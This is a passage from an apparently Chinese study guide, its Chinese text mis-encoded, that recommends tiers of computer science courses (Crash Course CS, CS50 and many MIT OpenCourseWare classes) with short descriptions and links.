<img src="http://oss.interviewguide.cn/img/202203261421279.png" alt="็ฌฌไบๆ" style="width:400px;" />
**็ฌฌไธๆ**๏ผ[็นๅป็ด่พพ](https://interviewguide.cn/notes/04-experience/01-learn_experience/20210907%20-%20%E7%AC%AC%E4%B8%89%E6%9C%9F-%E6%88%91%E5%AD%A6%E7%BC%96%E7%A8%8B%E5%85%A8%E9%9D%A0B%E7%AB%99%E4%BA%86%EF%BC%8C%E7%9C%9F%E9%A6%99-%E5%9B%BD%E5%A4%96%E7%AF%87%EF%BC%88%E7%AC%AC%E4%B8%89%E6%9C%9F%EF%BC%89.html)
<img src="http://oss.interviewguide.cn/img/202203261422715.png" alt="็ฌฌไธๆ" style="width:400px;" />
## ๅ
ฅ้จ็ง็ฎ
- **Crash Course Computer Science๏ผ่ฎก็ฎๆบ็งๅญฆ้ๆ่ฏพ**
่ฟ้จ่ฏพๆๅพๅคๅฐๆน้ฝ้ๅๅฐ็ฝ๏ผๆฏๅฆ่ง้ขๅ
ๅฎน็ฒพ็ผไฝไธๅไฝ๏ผ่ฏฅไป็ปๅฐ็้ฝไป็ปๅฐไบ๏ผๅฆๆไฝ ๆ
ๅฟ่ฟ้จ่ฏพ็จ่ฟไบ็ฎๅ๏ผ้ฃไฝ ๅฐฑๅคง้็น้ไบใ
- ไป็ปง็ตๅจ่ฎฒๅฐ็็ฉบ็ฎก๏ผๆๅๅๅฐๆถไฝ็ฎกๅ้ๆ็ต่ทฏ๏ผ
- ไปๆๅๅง็็บธ่ขๆๅญๅฐๆบๅจ่ฏญ่จ็ๅบ็ฐ๏ผๅๅฐๆฑ็ผ่ฏญ่จๅ้ซ็บง่ฏญ่จ๏ผๅฆJavaใC++็ญ๏ผ
- ไปไธๆ้็้ป่พ่ฟ็ฎๅฐCPU่ฟ็ฎๆฏๅฆไฝๅค็็๏ผ
- ่ฟๆๆบๅจๅญฆไน ใๆทฑๅบฆๅญฆไน ไปฅๅไบบๅทฅๆบ่ฝ็ญๆๆฐ้ขๅ็ไป็ป
ๅฆๆ่ฏดๅฏไธ็พไธญไธ่ถณ็็น๏ผ้ฃๅฐฑๆฏๅ
ถไธญ้จๅ็ฏ่่ฏญ้่ฟๅฟซ๏ผๅฏนไบๅคงๅคๆฐๅฝไบบๆฅ่ฏด็่ตทๆฅๆฏ่พๅๅ๏ผๅปบ่ฎฎ่ฑ่ฏญไธๅคชๅฅฝ็ๅๅญฆ็็ๆถๅ่ฐๆ0.75ๅ้ๅป่ง็ใ
่ฟ้จ่ฏพๅนถไธไผๆไฝ ๅฆไฝไป0ๅผๅงๅญฆไผ็ผ็จ๏ผ่ๆฏ้่ฟไธๆญ็ๆฝ่ฑกไปๅบๅฑๅฐไธๅฑ่ฟ่ก่ฎฒ่งฃ๏ผไป้ซๅฑๆฌกไธ็บต่งไธ็ณปๅ็่ฎก็ฎๆบ่ฏ้ขใ
ๅจ่ฟๆ้ดไนไผ็ฉฟๆ็ๅพๅคๆๆๆ็ๅๅฒๆ
ไบ๏ผๆฏๅฆๅจๅญๅจๅจ็ๆถๅๅฐฑไผไปฅ็ฎ็ไธบๆฅๅญๅผๅ
ฅ๏ผๅ่ฏไฝ ็ฎๆณๅคง็บฆๅบ็ฐๅจๅ
ฌๅ
ๅ2500ๅนดใ
้ๅฝ็ฉฟๆๅๅฒๆ
ไบ๏ผ็กฎไฟๅฐ็ฝไธไผๆฏ็ฅ&ไธญ้ๆพๅผ๏ผๅฝ่ฎฒๅฐ่ฎก็ฎๆบ็ฝ็ป็ๆถๅ๏ผๅๆฏไปฅๅจๅพ็ๅฝขๅผๅ่ฏไฝ ไบคๆขๆบไธๆฏๅฆไฝๅทฅไฝ็๏ผ
ไบคๆขๆบๆฏๅฆไฝๅทฅไฝ็
ๅช่ฝ่ฏด็่ตทๆฅไธๆฏไธ่ฌ็็ฝ๏ผ่ๆฏ็นๅซ็ๅพ็ฝใ
ๅฐๅ๏ผhttps://www.bilibili.com/video/BV1EW411u7th?p=28&vd_source=3fc05c3b7f095e12a12ea9850e2e0a35
- **CS-50**
ๅไฝๅคงๅญฆๅ
ฌๅผ่ฏพ๏ผ่ฎก็ฎๆบ็งๅญฆcs50ๆฏ็ปๅ
ธ็่ฎก็ฎๆบๅ
ฅ้จ่ฏพ็จ๏ผไป่ฟๆไธไธชๅนฟไธบไบบ็ฅ็ๅคๅท๏ผ่ฎก็ฎๆบ้ๆ่ฏพใ
ๅช่ฆๆฏๆญฃๅธธ้ซไธญๆฏไธ็ๅๅญฆๅบ่ฏฅ้ฝ่ฝๅฌๆ๏ผๅบ่ฏฅ็ฎๆฏ้ขๅ้ถๅบ็ก็่ฏพ็จใ
่ฟ้จ่ฏพไธๅ
ฑ20้๏ผไธๅคฉ็ไธ้ไนๅฐฑๅช้่ฆ20ๅคฉ๏ผ่ฟ้จ่ฏพ็ๅ
ๅฎนๅ
ๆฌๅบๆฌ็่ฎก็ฎๆบ็ฅ่ฏไปฅๅๅบ็ก็ฎๆณ๏ผๅธธ่ง็็ผ็จ่ฏญ่จ็ญ็ญ๏ผ่ฟไผๆข่ฎจๆๆฐ็่ฎก็ฎๆบ็งๅญฆ้ขๅ็ๆๆ๏ผ่ฏพ็จๅๆฃๆงๆ็ปดๅผบใ
ๅค่ฏดไธๅฅ๏ผCS50่ฏพ็จ็่ฎฒ่ฏพๅฝขๅผ่ฎฉไบบ่ณ็ฎไธๆฐ๏ผ็ๆญฃๅๅฐไบโๅฟซไนๅญฆไน โใใ
ๅฐๅ๏ผhttps://open.163.com/newview/movie/courseintro?newurl=%2Fspecial%2Fopencourse%2Fcs50.html
- **6.0001: Introduction to Computer Science and Programming in Python**
่ฏฅ่ฏพ็จ้ๅๅพๅฐๆๆ นๆฌๆฒกๆ็ผ็จ็ป้ช็ๅญฆ็ใๅฎๆจๅจ่ฎฉๅญฆ็ไบ่งฃ่ฎก็ฎๅจ่งฃๅณ้ฎ้ขๆน้ขๅฏไปฅๅๆฅ็ไฝ็จ๏ผๅนถๅธฎๅฉๆๆไธไธ็ๅญฆ็้ฝๆ็็ฑ็ธไฟกไปไปฌๆ่ฝๅ็ผๅๅฐ็จๅบๅนถไฝฟไปไปฌ่ฝๅคๅฎๆๆ็จ็็ฎๆ ใ
ๅผๅพๆณจๆ็ๆฏ่ฏฅ่ฏพ็จไฝฟ็จ Python 3.5 ็ผ็จ่ฏญ่จใ
ๅฐๅ๏ผ[https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-0001-introduction-to-computer-science-and-programming-in-python-fall-2016/](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-0001-introduction-to-computer-science-and-programming-in-python-fall-2016/)
- **6.821 ่ฎก็ฎๆบ็จๅบ็ๆ้ ๅ่งฃ้**
่ฏพ็จๅฐๅ๏ผ[Structure and Interpretation of Computer Programs](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-001-structure-and-interpretation-of-computer-programs-spring-2005)ใ [6.821 Programming Languages (Fall 2002)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-821-programming-languages-fall-2002)
SICP่ฟ้จ่ฏพไปฅๅๅจๅพ้ฟไธๆฎตๆถ้ด้ฝๆฏMITๅ
ฅ้จ็็ฌฌไธ่ฏพ๏ผ้
ๅฅ็ๆๆSICPใ่ฎก็ฎๆบ็จๅบ็ๆ้ ๅ่งฃ้ใไนไธ็ด่ขซ่ฎคไธบๆฏ็จๅบ่ฎพ่ฎก็็ปๅ
ธ่ไฝ๏ผๅ
ถไธญ**็ ็ฉถ็่ฏพ็จMIT 6.821** ็ๅ่ไนฆไนๆฏ่ฟๆฌไนฆใ
- **6.042: Mathematics for Computer Science**
ๆฌ่ฏพ็จๆไพ้ขๅ่ฎก็ฎๆบ็งๅญฆๅๅทฅ็จ็็ฆปๆฃๆฐๅญฆ็ไบคไบๅผไป็ปใไธป้ข่ฆ็่ๅดๅคง่ดๅไธบไธ้จๅ๏ผ
- ๆฐๅญฆ็ๅบๆฌๆฆๅฟต๏ผๅฎไน๏ผ่ฏๆ๏ผ้ๅ๏ผๅฝๆฐ๏ผๅ
ณ็ณปใ
- ็ฆปๆฃ็ปๆ๏ผๅพๅฝข๏ผ็ถๆๆบ๏ผๆจกๅๅ็ฎๆฏ๏ผ่ฎกๆฐใ
- ็ฆปๆฃๆฆ็็่ฎบใ
ๅฐๅ๏ผ[https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-042j-mathematics-for-computer-science-spring-2015/](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-042j-mathematics-for-computer-science-spring-2015/)
## ๅบ็ก็ง็ฎ
ๅบ็ก่ฏพ็จๅคงๅคๆฏไฝๆฌ็ง็ๅผ่ฎพ็ใ
- **6.004: Computation Structures**
ๆฌ่ฏพ็จไป็ปไบๆฐๅญ็ณป็ปๅ่ฎก็ฎๆบๆถๆ็่ฎพ่ฎกใๅผบ่ฐไปฅ้ซ็บง็กฌไปถ่ฏญ่จ่กจ่พพๆๆ็กฌไปถ่ฎพ่ฎกๅนถ็ปผๅ่ฎพ่ฎก๏ผไธป้ขๅ
ๆฌ็ปๅ็ต่ทฏๅ้กบๅบ็ต่ทฏใๅฏ็ผ็จ็กฌไปถๆไปค้ๆฝ่ฑกใๅๅจๆๅ็ฎก้ๅค็ๅจๅฎ็ฐใๅค็บงๅ
ๅญๅฑๆฌก็ปๆใ่ๆๅ
ๅญใๅผๅธธๅ I/O ไปฅๅๅนถ่ก็ณป็ปใ
ๅฐๅ๏ผ[https://6004.mit.edu/web/spring20](https://link.zhihu.com/?target=https%3A//6004.mit.edu/web/spring20)
- **6.006: Introduction to Algorithms**
ๆฌ่ฏพ็จไป็ปไบ่ฎก็ฎ้ฎ้ข็ๆฐๅญฆๅปบๆจกใๅฎๆถต็ไบ็จไบ่งฃๅณ่ฟไบ้ฎ้ข็ๅธธ่ง็ฎๆณ๏ผ็ฎๆณ่ไพๅๆฐๆฎ็ปๆใ่ฏฅ่ฏพ็จๅผบ่ฐ็ฎๆณไธ็ผ็จไน้ด็ๅ
ณ็ณป๏ผๅนถไป็ป้ๅฏน่ฟไบ้ฎ้ข็ๅบๆฌๆง่ฝๆๆ ๅๅๆๆๆฏใ
ๅฐๅ๏ผ[https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-006-introduction-to-algorithms-fall-2011/](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-006-introduction-to-algorithms-fall-2011/)
- **6.009: Fundamentals of Programming**
ๆฌ่ฏพ็จไป็ป็ผ็จ็ๅบๆฌๆฆๅฟตใๆจๅจๅนๅ
ปๅฐๅบๆฌๆนๆณไป็ผ็จ่ฏญ่จๅบ็จไบๆฝ่ฑก้ฎ้ข็ๆ่ฝใไธป้ขๅ
ๆฌ็ผ็จๅ Python ๅบ็ก็ฅ่ฏใ่ฎก็ฎๆฆๅฟตใ่ฝฏไปถๅทฅ็จใ็ฎๆณๆๆฏใๆฐๆฎ็ฑปๅๅ้ๅฝใๅฎ้ช็ปไปถๅ
ๆฌ่ฝฏไปถ่ฎพ่ฎกใๆฝๅทฅๅ่ฎพ่ฎกๅฎๆฝใ
ๅฐๅ๏ผ[https://py.mit.edu/spring20](https://link.zhihu.com/?target=https%3A//py.mit.edu/spring20)
- **6.004 ่ฎก็ฎ็ปๆ**
่ฏพ็จๅฐๅ๏ผ[Computation Structures (Spring 2017)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-004-computation-structures-spring-2017)
- **6.005 ่ฝฏไปถๆๅปบ๏ผJava๏ผ**
่ฏพ็จๅฐๅ๏ผ[Software Construction (Spring 2016)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-005-software-construction-spring-2016/)
Java็ๅบ็ก่ฏพ็จ๏ผๅฏไปฅๅ6.031ไธ่ตทๅญฆไน ใ
- **6.006 ็ฎๆณๅฏผ่ฎบ**
่ฏพ็จๅฐๅ๏ผ[Introduction to Algorithms (Fall 2011)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-006-introduction-to-algorithms-fall-2011)
- **6.008 ๆฅๅฃๆๆฏๅฏผ่ฎบ**
่ฏพ็จๅฐๅ๏ผ[Introduction to Inference๏ผ2014๏ผ](https://link.zhihu.com/?target=http%3A//web.mit.edu/6.008/www/videos/)
- **6.009 ็จๅบ่ฎพ่ฎกๅบ็ก**
่ฏพ็จๅฐๅ๏ผ[Fundamentals of Programming](https://link.zhihu.com/?target=https%3A//py.mit.edu/spring21)
- **6.033 ่ฎก็ฎๆบ็ณป็ป**
่ฏพ็จๅฐๅ๏ผ[Computer System Engineering (Spring 2018)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-033-computer-system-engineering-spring-2018)
- **6.034 ไบบๅทฅๆบ่ฝ**
่ฏพ็จๅฐๅ๏ผ[Artificial Intelligence (Fall 2010)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-034-artificial-intelligence-fall-2010)ใ[Artificial Intelligence (Spring 2005)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-034-artificial-intelligence-spring-2005)
- **6.041 ๆฆ็็ณป็ปๅๆๅๅบ็จๆฆ็่ฎบ**
่ฏพ็จๅฐๅ๏ผ[Probabilistic Systems Analysis and Applied Probability (Fall 2010)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-041-probabilistic-systems-analysis-and-applied-probability-fall-2010)ใ[Probabilistic Systems Analysis and Applied Probability (Fall 2013)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-041sc-probabilistic-systems-analysis-and-applied-probability-fall-2013)
- **6.042J ่ฎก็ฎๆบ็งๅญฆไธญ็ๆฐๅญฆ๏ผ็ฆปๆฃๆฐๅญฆ๏ผ**
่ฏพ็จๅฐๅ๏ผ[Mathematics for Computer Science (Spring 2015)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-042j-mathematics-for-computer-science-spring-2015)
## ่ฟ้ถ็ง็ฎ
่ฟ้ถ็ง็ฎๅๆฏไธบไบๅคงไธๅคงๅไปฅๅ็ ไธๅๅญฆ่ฎพ็ซใ
ไปฅไธ่ฏพ็จๅช้่ฆ้ๆฉไธคไธ้จ่ฏพๆฅๅญฆไน ๅฐฑๅฏไปฅไบใ
- **6.031 ่ฝฏไปถๆๅปบ๏ผJava๏ผ**
่ฏพ็จๅฐๅ๏ผ[Software Construction](https://link.zhihu.com/?target=http%3A//web.mit.edu/6.031/www/fa20/)
่ฟ้จ่ฏพไธป่ฆๅญฆ็ๆฏJava๏ผๆฒกๆๅ่ไนฆ๏ผ่ฏพ็จ้พๆฅๆๆฏ่พ่ฏฆ็ป็็บฟไธๆ็จ๏ผๅฏไปฅๅ6.005ไธ่ตทๅญฆไน ใ
- **6.033 ่ฎก็ฎๆบ็ณป็ปๅทฅ็จ**
่ฏพ็จๅฐๅ๏ผ[6.033](https://link.zhihu.com/?target=http%3A//student.mit.edu/catalog/m6a.html%236.033) Computer Systems Engineering (12)
- **6.035 ่ฎก็ฎๆบ่ฏญ่จๅทฅ็จ โ
**โ
โ
โ
โ
่ฏพ็จๅฐๅ๏ผ[Computer Language Engineering (Spring 2010)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-035-computer-language-engineering-spring-2010)ใ[Computer Language Engineering (SMA 5502) (Fall 2005)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-035-computer-language-engineering-sma-5502-fall-2005)
- **6.036 ๆบๅจๅญฆไน ๅฏผ่ฎบ** โ
โ
โ
โ
โ
่ฏพ็จๅฐๅ๏ผ[Introduction to Machine Learning (Fall 2020)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-036-introduction-to-machine-learning-fall-2020)
- **6.045J ่ชๅจๆบใๅฏ่ฎก็ฎๆงๅๅคๆๆง**
่ฏพ็จๅฐๅ๏ผ[Automata, Computability, and Complexity (Spring 2011)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-045j-automata-computability-and-complexity-spring-2011)
- **6.046J ็ฎๆณ็่ฎพ่ฎกไธๅๆ**
่ฏพ็จๅฐๅ๏ผ[Design and Analysis of Algorithms (Spring 2015)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-046j-design-and-analysis-of-algorithms-spring-2015)
- **6.073 ่ง้ขๆธธๆๅผๅ**
่ฏพ็จๅฐๅ๏ผ[Creating Video Games (Fall 2014)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/comparative-media-studies-writing/cms-611j-creating-video-games-fall-2014)
- **6.080/6.089 ่ฎก็ฎๆบ็งๅญฆ็ไผๅคง็่ฎบโ
โ
โ
โ
โ
**
่ฏพ็จๅฐๅ๏ผ[Great Ideas in Theoretical Computer Science (Spring 2008)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-080-great-ideas-in-theoretical-computer-science-spring-2008)
- **6.170 ่ฝฏไปถๅทฅ็จ๏ผๅ็ซฏๅผๅJavaScript๏ผ**
่ฏพ็จๅฐๅ๏ผ[Software Studio](https://link.zhihu.com/?target=https%3A//canvas.mit.edu/courses/4415)
่ฟ้จ่ฏพไปฅๅๆฏไฝฟ็จRuby็RailsๅJavaScriptๆฅๆญๅปบไธไธช**ๅ
จๆ ๅผๅ้กน็ฎ**ใ่็ฐๅจๅๅฎๅ
จๆฏไฝฟ็จJavaScriptๆฅๅๅ
จๆ ๅผๅ๏ผๅ
ๅฎนๅ
ๅซNodeใMySQLใReact็ญใ
- **6.171 Webๅบ็จๅผๅไธ่ฝฏไปถๅทฅ็จ**
่ฏพ็จๅฐๅ๏ผ[Software Engineering for Web Applications (Fall 2003)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-171-software-engineering-for-web-applications-fall-2003/)
่ฟ้จ่ฏพๅฏไปฅๅ6.170ไธ่ตทๅญฆ๏ผไธป่ฆๅฆไฝๆๅปบ้ซๅนถๅใๅฎๅ
จใๅฏ้ ็ญ็Webๅบ็จ
- **6.172 ่ฝฏไปถ็ณป็ป็ๆง่ฝ๏ผC่ฏญ่จ๏ผ** โ
โ
โ
โ
โ
่ฏพ็จๅฐๅ๏ผ[Performance Engineering of Software Systems (Fall 2018)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-172-performance-engineering-of-software-systems-fall-2018/)
่ฟ้จ่ฏพไธป่ฆๆไฝ ๅฆไฝๆๅปบๅคงๅ้ซๆง่ฝ็่ฝฏไปถ็ณป็ป๏ผๅ
ๅซๆง่ฝๅๆใ้ซๆง่ฝใ็ผๅญไผๅใๅนถ่ก็จๅบ็ญ๏ผไฝฟ็จ็ๆฏC่ฏญ่จใ่ฟ้จ่ฏพๆฒกๆๅ่ๆๆ๏ผๅๆฏๆไธๅ ๆ็ซ ้่ฆไฝ ้
่ฏป๏ผๅ
ทไฝๅฏไปฅๅปๅฎ็ฝ็Readingsไบ่งฃใ
- **6.175 ่ฎก็ฎๆบไฝ็ณป็ปๆ** โ
โ
โ
โ
โ
่ฏพ็จๅฐๅ๏ผ[Constructive Computer Architecture](https://link.zhihu.com/?target=http%3A//csg.csail.mit.edu/6.175/)
ๅญฆ่ฟ้จ่ฏพ้่ฆไฝ ๆๆกไธ้จ้ขๅๅฏน่ฑก็็ผ็จ่ฏญ่จ๏ผJavaๆC++๏ผๆๅฝๆฐๅผ็ผ็จ่ฏญ่จ๏ผMLๆHaskell๏ผ,ไปฅๅ6.004ใ6.005
- **6.207J ่ฎก็ฎๆบ็ฝ็ป**
่ฏพ็จๅฐๅ๏ผ[Networks (Spring 2018)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/economics/14-15j-networks-spring-2018)
- **6.338J ๅนถ่ก่ฎก็ฎ**
่ฏพ็จๅฐๅ๏ผ[Parallel Computing (Fall 2011)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/mathematics/18-337j-parallel-computing-fall-2011)
- **6.801 ๆบๅจ่ง่ง**
่ฏพ็จๅฐๅ๏ผ[Machine Vision (Fall 2020)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-801-machine-vision-fall-2020)
- **6.803 ไบบๅทฅๆบ่ฝไบไธ**
่ฏพ็จๅฐๅ๏ผ[The Human Intelligence Enterprise (Spring 2019)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-803-the-human-intelligence-enterprise-spring-2019)
- **6.804J ่ฎก็ฎไบบ็ฅ็งๅญฆ**
่ฏพ็จๅฐๅ๏ผ[Computational Cognitive Science (Fall 2004)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/brain-and-cognitive-sciences/9-66j-computational-cognitive-science-fall-2004)
- **6.811 ่พ
ๅฉๆๆฏๅ็ไธๅฎๆ**
่ฏพ็จๅฐๅ๏ผ[Principles and Practice of Assistive Technology (Fall 2014)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-811-principles-and-practice-of-assistive-technology-fall-2014)
- **6.813 ็จๆท็้ข่ฎพ่ฎกไธๅฎ่ทต**
่ฏพ็จๅฐๅ๏ผ[User Interface Design and Implementation (Spring 2011)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-831-user-interface-design-and-implementation-spring-2011)
- **6.815/6.865 ๆฐๅญไธ่ฎก็ฎๆๅ**
่ฏพ็จๅฐๅ๏ผ[Digital and Computational Photography](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/media-arts-and-sciences/mas-531-computational-camera-and-photography-fall-2009/syllabus/)
- **6.816/6.189 ๅคๅค็ๅจ็ผ็จ็่บๆฏ**
่ฏพ็จๅฐๅ๏ผ[Multicore Programming Primer (January IAP 2007)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-189-multicore-programming-primer-january-iap-2007)
่ฟ้จ่ฏพๆฒกๆๅฏนๅคๅ
ฌๅผ๏ผๅชไบ่งฃๅฐๅฎไฝฟ็จ็ๅ่ๆๆๆฏใๅคๅค็ๅจ็ผ็จ็่บๆฏใ
- **6.819/6.869๏ผ้ซ็บง่ฎก็ฎๆบ่ง่ง**
่ฏพ็จๅฐๅ๏ผ[Advances in Computer Vision (12)](https://link.zhihu.com/?target=http%3A//6.869.csail.mit.edu/sp21/)
- **6.820 ็จๅบๅๆๅบ็ก**
่ฏพ็จๅฐๅ๏ผ[Fundamentals of Program Analysis (Fall 2015)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-820-fundamentals-of-program-analysis-fall-2015)
- **6.837 ่ฎก็ฎๆบๅพๅฝขๅญฆ**
่ฏพ็จๅฐๅ๏ผ[Computer Graphics (Fall 2012)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-837-computer-graphics-fall-2012/)
- **18.404/6.840 ่ฎก็ฎ็่ฎบๅฏผๅผ**
่ฏพ็จๅฐๅ๏ผ[Theory of Computation (12)](https://link.zhihu.com/?target=https%3A//math.mit.edu/~sipser/18404/)
## ไธไธ็ง็ฎ
- **6.034: Artificial Intelligence**
ๆฌ่ฏพ็จๅๅญฆ็ไป็ปไบบๅทฅๆบ่ฝ็ๅบๆฌ็ฅ่ฏ่กจ็ฐใ้ฎ้ข่งฃๅณๅๅญฆไน ๆนๆณใๅฎๆ 6.034 ๅ๏ผๅญฆ็ๅบ่ฏฅ่ฝๅค้่ฟ็ป่ฃ
่งฃๅณๆนๆกๆฅๅผๅๆบ่ฝ็ณป็ป๏ผไป่่งฃๅณๅ
ทไฝ็่ฎก็ฎ้ฎ้ข๏ผไบ่งฃ็ฅ่ฏ่กจ็ฐใ้ฎ้ข่งฃๅณๅๅญฆไน ๅจๆบ่ฝ็ณป็ปๅทฅ็จไธญ็ไฝ็จ๏ผๅนถ็่งฃ่งฃๅณ้ฎ้ขใ่ง่งๅ่ฏญ่จๅจไป่ฎก็ฎ่งๅบฆ็่งฃไบบ็ฑปๆบๅๆน้ข็ไฝ็จใ
ๅฐๅ๏ผ[https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-034-artificial-intelligence-fall-2010/](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-034-artificial-intelligence-fall-2010/)
[https://ai6034.mit.edu/wiki/index.php?title=Main_Page](https://link.zhihu.com/?target=https%3A//ai6034.mit.edu/wiki/index.php%3Ftitle%3DMain_Page)
- **6.033: Computer Systems Engineering (CI-M)**
ๆฌ่ฏพ็จๅ
ๆฌๆๅ
ณ่ฎก็ฎๆบ่ฝฏไปถๅ็กฌไปถ็ณป็ปๅทฅ็จ็ไธป้ขใไธป้ขๅ
ๆฌๆงๅถๅคๆๆง็ๆๆฏ๏ผไฝฟ็จๅฎขๆท็ซฏ - ๆๅกๅจ่ฎพ่ฎกใๆไฝ็ณป็ป็ๅผบๅคงๆจกๅๅ๏ผๆง่ฝ๏ผ็ฝ็ป๏ผๅฝๅ๏ผๅฎๅ
จๅ้็ง๏ผๅฎน้็ณป็ปใๅนถๅๆดปๅจ็ๅๅญๆงๅๅ่ฐๆงไปฅๅๆขๅค๏ผ่ฎก็ฎๆบ็ณป็ปๅฏน็คพไผ็ๅฝฑๅใ
ๅฐๅ๏ผ[https://web.mit.edu/6.033/www/](https://link.zhihu.com/?target=https%3A//web.mit.edu/6.033/www/)
- **6.031: Elements of Software Construction**
ไป็ป่ฝฏไปถๅผๅ็ๅบๆฌๅๅๅๆๆฏ๏ผๅฆไฝ็ผๅๅฎๅ
จๆ ้่ฏฏใๆไบ็่งฃไธๆไบๆดๆน็่ฝฏไปถใไธป้ขๅ
ๆฌ่ง่ๅไธๅ๏ผๆต่ฏใๆต่ฏ็จไพ็ๆๅ่ฆ็่ๅด๏ผๆฝ่ฑกๆฐๆฎ็ฑปๅๅ่กจ็คบ็ฌ็ซๆง๏ผ้ขๅๅฏน่ฑก็ผ็จ็่ฎพ่ฎกๆจกๅผ๏ผๅนถๅ็ผ็จ๏ผๅ
ๆฌๆถๆฏไผ ้ๅๅ
ฑไบซๅ
ๅญๅนถๅ๏ผๆญป้๏ผๅฝๆฐ็ผ็จ๏ผๅ
ทๆไธๅฏๅ็ๆฐๆฎๅ้ซ้ถๅฝๆฐใ
ๅฐๅ๏ผ[https://web.mit.edu/6.031/www/sp20/](https://link.zhihu.com/?target=https%3A//web.mit.edu/6.031/www/sp20/)
- **6.036 Introduction to Machine Learning**
ไปๅปบๆจกๅ้ขๆต็่งๅบฆไป็ปๆบๅจๅญฆไน ็ๅๅใ็ฎๆณๅๅบ็จ๏ผๅถๅฎๅญฆไน ้ฎ้ข๏ผไปฃ่กจๆงใ่ฟๅบฆๆๅใๆฆๆฌๆง๏ผ่็ฑปใๅ็ฑปใๆฆ็ๅปบๆจก๏ผๅ่ฏธๅฆๆฏๆๅ้ๆบใ้ๅผ้ฉฌๅฐ็งๅคซๆจกๅๅ็ฅ็ป็ฝ็ป็ญๆนๆณใ
ๅฐๅ๏ผ[https://openlearninglibrary.mit.edu/courses/course-v1:MITx+6.036+1T2019/about](https://link.zhihu.com/?target=https%3A//openlearninglibrary.mit.edu/courses/course-v1%3AMITx%2B6.036%2B1T2019/about)
- **6.045: Automata, Computability, and Complexity**
ๅ
ณไบ่ฎก็ฎๅฎไน้ฎ้ข็ๆฐๅญฆไป็ป๏ผไปฅๅ่ฎก็ฎๆบๅฏไปฅ่งฃๅณ็้ฎ้ขใ่่้่ฟๆ้็่ชๅจๆบ๏ผ็ต่ทฏ๏ผๅพ็ตๆบๅ้ไฟกๅคๆๆงๅฏไปฅๆๆ่งฃๅณๅชไบ้ฎ้ขใๅจๆไบๆ
ๅตไธ๏ผไธบ้ฎ้ขๆไพๅฎๆด๏ผไธฅๆ ผ็็ญๆกใๅปบ็ซๆ นๆฎ้พๅบฆๅฏน่ฎก็ฎ้ฎ้ข่ฟ่กๅ็ฑป็ๆ่ฝใ่ฎจ่ฎบๅ
ถไปๅบๆฌ้ฎ้ข๏ผๅ
ๆฌ Church-Turing ่ฎบๆ๏ผP ไธ NP ้ฎ้ขไปฅๅ้ๆบๆงใ
ๅฐๅ๏ผ[https://people.csail.mit.edu/rrw/6.045-2020/](https://link.zhihu.com/?target=https%3A//people.csail.mit.edu/rrw/6.045-2020/)
- **6.046: Design and Analysis of Algorithms**
้ซๆ็ฎๆณ็่ฎพ่ฎกไธๅๆๆๆฏ๏ผๅผบ่ฐๅจๅฎ่ทตไธญๆ็จ็ๆนๆณใไธป้ขๅ
ๆฌๆๅบ๏ผๆ็ดขๆ ใๅ ๅๅๅธ๏ผๅ่ๆฒปไน๏ผๅจๆ็ผ็จ๏ผ่ดชๅฉช็ฎๆณ๏ผๆ้ๅๆ๏ผๅพๅฝข็ฎๆณ๏ผๅๆ็ญ็่ทฏๅพใ้ซ็บงไธป้ขๅฏ่ฝๅ
